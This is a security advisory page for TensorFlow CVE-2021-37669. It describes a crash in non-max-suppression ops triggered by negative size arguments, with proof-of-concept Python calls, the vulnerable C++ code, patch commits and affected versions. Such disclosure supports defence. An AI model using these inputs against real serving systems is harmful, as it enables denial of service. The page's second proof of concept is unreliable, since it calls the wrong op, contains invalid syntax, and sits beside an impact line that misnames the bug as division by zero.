CVE-2021-37669

MEDIUM5.5EPSS 0.03%

Crash in NMS ops caused by integer conversion to unsigned

發布日:2021/8/25修改日:2026/3/13

描述

### Impact An attacker can cause denial of service in applications serving models using `tf.raw_ops.NonMaxSuppressionV5` by triggering a division by 0: ```python import tensorflow as tf tf.raw_ops.NonMaxSuppressionV5( boxes=[[0.1,0.1,0.1,0.1],[0.2,0.2,0.2,0.2],[0.3,0.3,0.3,0.3]], scores=[1.0,2.0,3.0], max_output_size=-1, iou_threshold=0.5, score_threshold=0.5, soft_nms_sigma=1.0, pad_to_max_output_size=True) ``` The [implementation](https://github.com/tensorflow/tensorflow/blob/460e000de3a83278fb00b61a16d161b1964f15f4/tensorflow/core/kernels/image/non_max_suppression_op.cc#L170-L271) uses a user controlled argument to resize a `std::vector`: ```cc const int output_size = max_output_size.scalar<int>()(); // ... std::vector<int> selected; // ... if (pad_to_max_output_size) { selected.resize(output_size, 0); // ... } ``` However, as `std::vector::resize` takes the size argument as a `size_t` and `output_size` is an `int`, there is an implicit conversion to usigned. If the attacker supplies a negative value, this conversion results in a crash. A similar issue occurs in `CombinedNonMaxSuppression`: ```python import tensorflow as tf tf.raw_ops.NonMaxSuppressionV5( boxes=[[[[0.1,0.1,0.1,0.1],[0.2,0.2,0.2,0.2],[0.3,0.3,0.3,0.3]],[[0.1,0.1,0.1,0.1],[0.2,0.2,0.2,0.2],[0.3,0.3,0.3,0.3]],[[0.1,0.1,0.1,0.1],[0.2,0.2,0.2,0.2],[0.3,0.3,0.3,0.3]]]], scores=[[[1.0,2.0,3.0],[1.0,2.0,3.0],[1.0,2.0,3.0]]], max_output_size_per_class=-1, max_total_size=10, iou_threshold=score_threshold=0.5, pad_per_class=True, clip_boxes=True) ``` ### Patches We have patched the issue in GitHub commit [3a7362750d5c372420aa8f0caf7bf5b5c3d0f52d](https://github.com/tensorflow/tensorflow/commit/3a7362750d5c372420aa8f0caf7bf5b5c3d0f52d) and commit [b5cdbf12ffcaaffecf98f22a6be5a64bb96e4f58](https://github.com/tensorflow/tensorflow/commit/b5cdbf12ffcaaffecf98f22a6be5a64bb96e4f58). The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range. ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. ### Attribution This vulnerability has been reported by members of the Aivul Team from Qihoo 360.

受影響套件(7)

  • Bitnami/tensorflow>= 2.3.0, < 2.3.4, >= 2.4.0, < 2.4.3, >= 2.5.0, < 2.5.1
  • PyPI/tensorflowfrom 0, < 2.3.4
  • PyPI/tensorflowfrom 0, < 3a7362750d5c372420aa8f0caf7bf5b5c3d0f52d, < b5cdbf12ffcaaffecf98f22a6be5a64bb96e4f58 | >= 2.3.0, < 2.3.4, >= 2.4.0, < 2.4.3
  • PyPI/tensorflow-cpufrom 0, < 3a7362750d5c372420aa8f0caf7bf5b5c3d0f52d, < b5cdbf12ffcaaffecf98f22a6be5a64bb96e4f58 | >= 2.3.0, < 2.3.4, >= 2.4.0, < 2.4.3
  • PyPI/tensorflow-cpufrom 0, < 2.3.4
  • PyPI/tensorflow-gpufrom 0, < 3a7362750d5c372420aa8f0caf7bf5b5c3d0f52d, < b5cdbf12ffcaaffecf98f22a6be5a64bb96e4f58 | >= 2.3.0, < 2.3.4, >= 2.4.0, < 2.4.3
  • PyPI/tensorflow-gpufrom 0, < 2.3.4

CVSS 分數

來源版本嚴重程度向量
osvCVSS 4.0—CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
osvCVSS 3.1MEDIUM5.5CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

參考連結(8)